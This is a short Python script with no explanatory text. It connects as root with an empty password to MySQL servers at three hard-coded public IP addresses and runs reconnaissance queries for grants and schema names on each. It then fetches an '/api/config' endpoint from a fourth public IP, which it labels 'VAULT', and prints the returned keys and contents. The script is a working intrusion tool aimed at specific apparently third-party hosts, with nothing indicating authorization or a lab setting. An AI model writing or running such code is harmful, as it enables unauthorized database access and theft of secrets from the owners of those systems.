import json
import pymysql, aiohttp

for ip in ("107.161.24.123", "64.176.166.236", "74.208.64.89"):
    print("=====", ip)
    try:
        c = pymysql.connect(host=ip, port=3306, user="root", password="", connect_timeout=5, read_timeout=6)
        cur = c.cursor()
        for q in ("select current_user(), user(), version()", "show grants",
                  "select count(*) from information_schema.tables",
                  "select schema_name from information_schema.schemata"):
            try:
                cur.execute(q)
                print(" ", q[:40], "->", cur.fetchall())
            except Exception as e:
                print(" ", q[:40], "-> ERR", str(e)[:60])
        c.close()
    except Exception as e:
        print("  connect ERR", str(e)[:80])

try:
    r = aiohttp
    import asyncio
    async def g():
        async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=12)) as s:
            async with s.get("http://129.153.62.97:8040/api/config", ssl=False) as resp:
                return await resp.text()
    t = asyncio.run(g())
    j = json.loads(t)
    print("VAULT keys:", list(j.keys()))
    print("VAULT json:", json.dumps(j)[:600])
except Exception as e:
    print("VAULT ERR", str(e)[:100])
